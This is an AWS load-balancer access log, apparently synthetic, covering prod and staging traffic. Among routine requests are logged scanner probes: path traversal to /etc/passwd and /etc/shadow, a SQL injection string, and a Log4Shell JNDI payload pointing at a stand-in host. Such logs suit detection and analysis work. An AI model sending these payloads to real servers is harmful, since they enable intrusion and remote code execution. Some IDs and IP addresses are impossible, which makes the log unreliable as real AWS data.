"Root=1-6723c6ff-5eff973134e94fe2ad922561" "staging-alb.example.com" "-" 9 2024-11-01T01:05:51.075100Z "forward" "-" "-" "115.97.9.86:8080" "302" "-" "-" -https 2024-11-01T01:05:52.285866Z prod-api-alb 159.151.228.160:22400 10.0.55.241:443 0.041399 0.451510 0.087267 301 301 869 10901 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c700-9098587e9ff74f3f9be449bf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:52.285866Z "forward" "-" "-" "10.0.55.241:443" "301" "-" "-" -https 2024-11-01T01:05:52.999703Z prod-api-alb 164.222.186.129:24486 10.0.19.253:443 0.066299 0.452287 0.075606 200 200 540 3713 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c700-6de1930a25204431af48829a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:52.999703Z "forward" "-" "-" "10.0.19.253:443" "200" "-" "-" -https 2024-11-01T01:05:53.101894Z staging-alb 89.58.82.199:39911 228.201.101.117:8080 0.114315 0.483193 0.133903 200 200 499 12038 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c701-04b3e5830a4e4bb68f6fa874" "staging-alb.example.com" "-" 10 2024-11-01T01:05:53.101894Z "forward" "-" "-" "228.201.101.117:8080" "200" "-" "-" -https 2024-11-01T01:05:55.048243Z prod-api-alb 207.169.233.114:54416 10.0.125.107:443 0.078775 0.031251 0.083471 302 302 970 5751 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c703-5d25741f57b645ed9cda5a6d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:05:55.048243Z "forward" "-" "-" "10.0.125.107:443" "302" "-" "-" -https 2024-11-01T01:05:56.291102Z prod-api-alb 227.196.207.219:45145 10.0.240.33:443 0.024926 0.199552 0.027932 200 200 904 11116 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c704-f5740175f05945cfb4816127" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:56.291102Z "forward" "-" "-" "10.0.240.33:443" "200" "-" "-" -https 2024-11-01T01:05:56.731546Z prod-api-alb 45.155.205.86:15461 10.0.14.208:443 0.086320 0.283778 0.061076 404 404 733 10555 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c704-2f5c83b83bde4821911220fb" "-" "-" 6 2024-11-01T01:05:56.731546Z "forward" "-" "-" "10.0.14.208:443" "404" "-" "-" -https 2024-11-01T01:05:58.546433Z prod-web-alb 249.35.60.74:53078 10.0.222.104:443 0.050018 0.451198 0.015504 200 200 538 14342 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c706-ea85705163b0426e89d0204e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:58.546433Z "forward" "-" "-" "10.0.222.104:443" "200" "-" "-" -https 2024-11-01T01:05:59.296415Z prod-api-alb 40.35.156.156:43770 10.0.185.18:443 0.000895 0.026084 0.044125 200 200 961 3108 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c707-2a00690a42684ebba0a6d190" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:59.296415Z "forward" "-" "-" "10.0.185.18:443" "200" "-" "-" -https 2024-11-01T01:06:00.448398Z prod-web-alb 115.156.15.81:13490 10.0.196.142:443 0.086749 0.309254 0.057783 200 200 122 8066 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c708-4635233860f74237a200ac72" "prod-web-alb.example.com" "-" 4 2024-11-01T01:06:00.448398Z "forward" "-" "-" "10.0.196.142:443" "200" "-" "-" -https 2024-11-01T01:06:00.886605Z prod-web-alb 220.68.119.64:18164 10.0.228.176:443 0.073966 0.333884 0.036822 301 301 816 11707 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c708-bd6adde4a5b6421bafb45f21" "prod-web-alb.example.com" "-" 10 2024-11-01T01:06:00.886605Z "forward" "-" "-" "10.0.228.176:443" "301" "-" "-" -https 2024-11-01T01:06:01.313580Z prod-api-alb 119.171.115.16:60997 10.0.147.200:443 0.012388 0.064289 0.024742 200 200 258 14856 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c709-164c0cddddf043189d2e6d6c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:06:01.313580Z "forward" "-" "-" "10.0.147.200:443" "200" "-" "-" -http 2024-11-01T01:06:03.032825Z staging-alb 236.1.28.73:63560 234.245.224.213:443 0.067129 0.587128 0.075925 200 200 980 1112 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70b-1852832e4f594a3382e9c9fe" "staging-alb.example.com" "-" 6 2024-11-01T01:06:03.032825Z "forward" "-" "-" "234.245.224.213:443" "200" "-" "-" -https 2024-11-01T01:06:04.873736Z prod-api-alb 45.155.205.138:17935 10.0.159.209:443 0.044746 0.058857 0.031983 401 401 49 7652 "GET /adminer.php HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c70c-b34c636547974ae39a41ac1f" "-" "-" 10 2024-11-01T01:06:04.873736Z "forward" "-" "-" "10.0.159.209:443" "401" "-" "-" -https 2024-11-01T01:06:05.405728Z prod-web-alb 185.181.51.36:14924 10.0.29.91:443 0.091004 0.424425 0.044097 404 404 810 5499 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c70d-7d2b2bd6d31e4e548609b6c3" "-" "-" 8 2024-11-01T01:06:05.405728Z "forward" "-" "-" "10.0.29.91:443" "404" "-" "-" -http 2024-11-01T01:06:05.980979Z staging-alb 105.155.217.29:51345 198.215.161.229:443 0.129849 0.005002 0.019599 200 200 882 2109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70d-431bb29ee3af48fdacfdc5de" "staging-alb.example.com" "-" 7 2024-11-01T01:06:05.980979Z "forward" "-" "-" "198.215.161.229:443" "200" "-" "-" -https 2024-11-01T01:06:06.119565Z prod-web-alb 44.204.142.188:59471 10.0.80.70:443 0.093736 0.475415 0.004217 404 404 379 1897 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c70e-451645963e214565b3e5669a" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:06.119565Z "forward" "-" "-" "10.0.80.70:443" "404" "-" "-" -https 2024-11-01T01:06:06.399009Z staging-alb 22.36.132.131:12577 102.240.103.189:80 0.065826 0.735374 0.048673 302 302 194 3746 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70e-9953f82e195141dd92884029" "staging-alb.example.com" "-" 5 2024-11-01T01:06:06.399009Z "forward" "-" "-" "102.240.103.189:80" "302" "-" "-" -https 2024-11-01T01:06:06.927902Z staging-alb 90.67.252.53:10925 147.85.12.202:443 0.050223 0.039860 0.146751 200 200 3 13472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70e-3f082f0d265340329a29b475" "staging-alb.example.com" "-" 6 2024-11-01T01:06:06.927902Z "forward" "-" "-" "147.85.12.202:443" "200" "-" "-" -http 2024-11-01T01:06:07.142678Z staging-alb 139.87.245.44:47634 210.27.41.22:80 0.048199 0.731184 0.101176 404 404 775 4962 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c70f-994cbdd7bc1541ef8fab90d0" "staging-alb.example.com" "-" 5 2024-11-01T01:06:07.142678Z "forward" "-" "-" "210.27.41.22:80" "404" "-" "-" -https 2024-11-01T01:06:08.596003Z prod-api-alb 101.171.111.194:36297 10.0.167.82:443 0.020904 0.278475 0.070427 200 200 281 11016 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c710-575c9e398d4443f492c96e16" "prod-api-alb.example.com" "-" 9 2024-11-01T01:06:08.596003Z "forward" "-" "-" "10.0.167.82:443" "200" "-" "-" -http 2024-11-01T01:06:10.514184Z staging-alb 193.27.228.71:19434 79.84.27.154:443 0.093326 0.492606 0.118295 404 404 510 8041 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c712-74ca4928d54546e8a7974bb9" "-" "-" 1 2024-11-01T01:06:10.514184Z "forward" "-" "-" "79.84.27.154:443" "404" "-" "-" -http 2024-11-01T01:06:11.251264Z staging-alb 193.27.228.29:13453 78.221.195.129:443 0.117985 0.299953 0.095284 200 200 927 13663 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c713-b644c12de1b94a97b2a15107" "-" "-" 7 2024-11-01T01:06:11.251264Z "forward" "-" "-" "78.221.195.129:443" "200" "-" "-" -http 2024-11-01T01:06:12.868839Z staging-alb 222.154.252.250:53848 231.105.80.199:443 0.121314 0.219009 0.145983 200 200 955 2976 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c714-94275bc3db8a47edbe5fb567" "staging-alb.example.com" "-" 3 2024-11-01T01:06:12.868839Z "forward" "-" "-" "231.105.80.199:443" "200" "-" "-" -https 2024-11-01T01:06:13.763048Z staging-alb 193.27.228.181:44452 188.138.218.145:443 0.025104 0.663013 0.001522 404 404 553 7105 "GET /images/../../../../etc/shadow HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c715-623a323edf8045b891ab3cdf" "-" "-" 7 2024-11-01T01:06:13.763048Z "forward" "-" "-" "188.138.218.145:443" "404" "-" "-" -https 2024-11-01T01:06:14.759519Z staging-alb 241.43.33.12:60322 5.147.40.162:80 0.059578 0.461839 0.022817 302 302 540 8616 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c716-17bc09771a39480b87c7048e" "staging-alb.example.com" "-" 3 2024-11-01T01:06:14.759519Z "forward" "-" "-" "5.147.40.162:80" "302" "-" "-" -https 2024-11-01T01:06:16.413851Z prod-web-alb 37.40.189.32:29173 10.0.192.84:443 0.079323 0.158655 0.004413 200 200 449 13636 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c718-4ddaa0cc40ad430296584eec" "prod-web-alb.example.com" "-" 0 2024-11-01T01:06:16.413851Z "forward" "-" "-" "10.0.192.84:443" "200" "-" "-" -https 2024-11-01T01:06:18.000403Z prod-api-alb 160.81.186.222:19104 10.0.248.145:443 0.015743 0.350746 0.056934 200 200 712 1374 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c71a-eadf4b622dfc44a9b1171ff3" "prod-api-alb.example.com" "-" 10 2024-11-01T01:06:18.000403Z "forward" "-" "-" "10.0.248.145:443" "200" "-" "-" -http 2024-11-01T01:06:19.272746Z staging-alb 178.218.154.253:18500 145.154.80.36:443 0.007416 0.578518 0.141340 200 200 717 4109 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c71b-b34fac33dfc6443785d3b2ba" "staging-alb.example.com" "-" 2 2024-11-01T01:06:19.272746Z "forward" "-" "-" "145.154.80.36:443" "200" "-" "-" -https 2024-11-01T01:06:20.236183Z prod-api-alb 154.240.158.114:58505 10.0.244.170:443 0.023268 0.420112 0.050297 301 301 104 9003 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c71c-74f9556cf6d24866b875525f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:06:20.236183Z "forward" "-" "-" "10.0.244.170:443" "301" "-" "-" -https 2024-11-01T01:06:20.551951Z prod-api-alb 139.99.237.140:41482 10.0.22.253:443 0.007675 0.198060 0.057534 302 302 90 4675 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c71c-6af8bddfc47d476f9800424e" "-" "-" 1 2024-11-01T01:06:20.551951Z "forward" "-" "-" "10.0.22.253:443" "302" "-" "-" -http 2024-11-01T01:06:21.564301Z staging-alb 24.144.113.236:38160 177.81.137.205:80 0.087135 0.070293 0.059336 302 302 737 712 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c71d-dd91879af3614fc6bfd51c59" "staging-alb.example.com" "-" 9 2024-11-01T01:06:21.564301Z "forward" "-" "-" "177.81.137.205:80" "302" "-" "-" -https 2024-11-01T01:06:22.589403Z prod-web-alb 45.155.205.35:42347 10.0.24.114:443 0.027086 0.350266 0.023084 403 403 14 9609 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c71e-9c0cacf3984743ba87b89b52" "-" "-" 4 2024-11-01T01:06:22.589403Z "forward" "-" "-" "10.0.24.114:443" "403" "-" "-" -https 2024-11-01T01:06:23.117145Z prod-api-alb 217.224.40.194:13568 10.0.28.178:443 0.072195 0.120028 0.022282 200 200 685 11626 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c71f-80c8acc2f9b64f9a8b2889a1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:06:23.117145Z "forward" "-" "-" "10.0.28.178:443" "200" "-" "-" -https 2024-11-01T01:06:24.980500Z prod-web-alb 68.231.162.133:17341 10.0.108.89:443 0.075569 0.191806 0.049995 200 200 726 8332 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c720-78c471bea5f541d8b358db67" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:24.980500Z "forward" "-" "-" "10.0.108.89:443" "200" "-" "-" -http 2024-11-01T01:06:26.441201Z staging-alb 136.183.45.160:23669 24.54.126.194:8080 0.078509 0.311320 0.067110 200 200 752 4417 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c722-1e5585c9973a42738c2e29c3" "staging-alb.example.com" "-" 9 2024-11-01T01:06:26.441201Z "forward" "-" "-" "24.54.126.194:8080" "200" "-" "-" -https 2024-11-01T01:06:28.239479Z prod-api-alb 222.209.41.173:56723 10.0.56.11:443 0.084746 0.374209 0.023149 200 200 170 14679 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c724-2b3fc87c22524755a8cd4298" "prod-api-alb.example.com" "-" 0 2024-11-01T01:06:28.239479Z "forward" "-" "-" "10.0.56.11:443" "200" "-" "-" -https 2024-11-01T01:06:29.033616Z prod-api-alb 62.133.18.233:17957 10.0.8.12:443 0.062578 0.166906 0.095293 200 200 306 8273 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c725-94030e8aa7d74081bef0ec78" "prod-api-alb.example.com" "-" 5 2024-11-01T01:06:29.033616Z "forward" "-" "-" "10.0.8.12:443" "200" "-" "-" -https 2024-11-01T01:06:29.999371Z prod-web-alb 18.75.222.255:35127 10.0.97.100:443 0.018499 0.018463 0.075609 301 301 412 12167 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c725-67d8b0f91e684b949825b90e" "prod-web-alb.example.com" "-" 0 2024-11-01T01:06:29.999371Z "forward" "-" "-" "10.0.97.100:443" "301" "-" "-" -https 2024-11-01T01:06:31.715704Z prod-web-alb 122.7.110.120:49118 10.0.83.80:443 0.048859 0.127076 0.018649 200 200 77 12394 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c727-2e67f851f2974631998eb2d4" "-" "-" 6 2024-11-01T01:06:31.715704Z "forward" "-" "-" "10.0.83.80:443" "200" "-" "-" -https 2024-11-01T01:06:32.539184Z prod-api-alb 153.114.153.43:42517 10.0.82.82:443 0.031206 0.300544 0.095876 200 200 898 11541 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c728-543309dbc006453a93598b35" "prod-api-alb.example.com" "-" 8 2024-11-01T01:06:32.539184Z "forward" "-" "-" "10.0.82.82:443" "200" "-" "-" -https 2024-11-01T01:06:33.539616Z staging-alb 40.21.72.156:39216 40.226.87.169:80 0.083911 0.470504 0.030971 200 200 800 537 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c729-e4d8560b502a4ff3919b1b41" "staging-alb.example.com" "-" 7 2024-11-01T01:06:33.539616Z "forward" "-" "-" "40.226.87.169:80" "200" "-" "-" -https 2024-11-01T01:06:35.146476Z prod-web-alb 116.146.204.163:29739 10.0.53.8:443 0.085225 0.039467 0.093313 200 200 959 4249 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c72b-52be610bb7054bfe93554dc0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:06:35.146476Z "forward" "-" "-" "10.0.53.8:443" "200" "-" "-" -https 2024-11-01T01:06:35.321538Z prod-web-alb 27.134.251.49:64674 10.0.182.106:443 0.022088 0.445461 0.035654 404 404 628 14412 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c72b-2f0526796307453c9669c923" "prod-web-alb.example.com" "-" 2 2024-11-01T01:06:35.321538Z "forward" "-" "-" "10.0.182.106:443" "404" "-" "-" -https 2024-11-01T01:06:37.133649Z staging-alb 65.1.78.11:49518 17.251.68.180:80 0.135041 0.613098 0.127777 200 200 445 3945 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c72d-151b120dd62744198714dda7" "staging-alb.example.com" "-" 0 2024-11-01T01:06:37.133649Z "forward" "-" "-" "17.251.68.180:80" "200" "-" "-" -https 2024-11-01T01:06:38.946492Z prod-web-alb 220.247.235.225:20483 10.0.231.202:443 0.039468 0.333803 0.066441 302 302 233 12396 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c72e-a7efad73cecb453f8ed084ae" "prod-web-alb.example.com" "-" 8 2024-11-01T01:06:38.946492Z "forward" "-" "-" "10.0.231.202:443" "302" "-" "-" -https 2024-11-01T01:06:40.653925Z prod-api-alb 116.182.24.130:47084 10.0.78.107:443 0.005010 0.383782 0.022363 200 200 445 6668 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c730-74cee154a63b4ca1b6967156" "prod-api-alb.example.com" "-" 9 2024-11-01T01:06:40.653925Z "forward" "-" "-" "10.0.78.107:443" "200" "-" "-" -https 2024-11-01T01:06:42.037519Z prod-api-alb 10.50.29.150:20844 10.0.56.201:443 0.067641 0.313132 0.037651 200 200 790 11523 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c732-493372e8a7094bd79ca78a39" "-" "-" 6 2024-11-01T01:06:42.037519Z "forward" "-" "-" "10.0.56.201:443" "200" "-" "-" -https 2024-11-01T01:06:43.821860Z prod-web-alb 14.224.32.58:34336 10.0.20.95:443 0.018913 0.060361 0.028815 200 200 408 8623 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 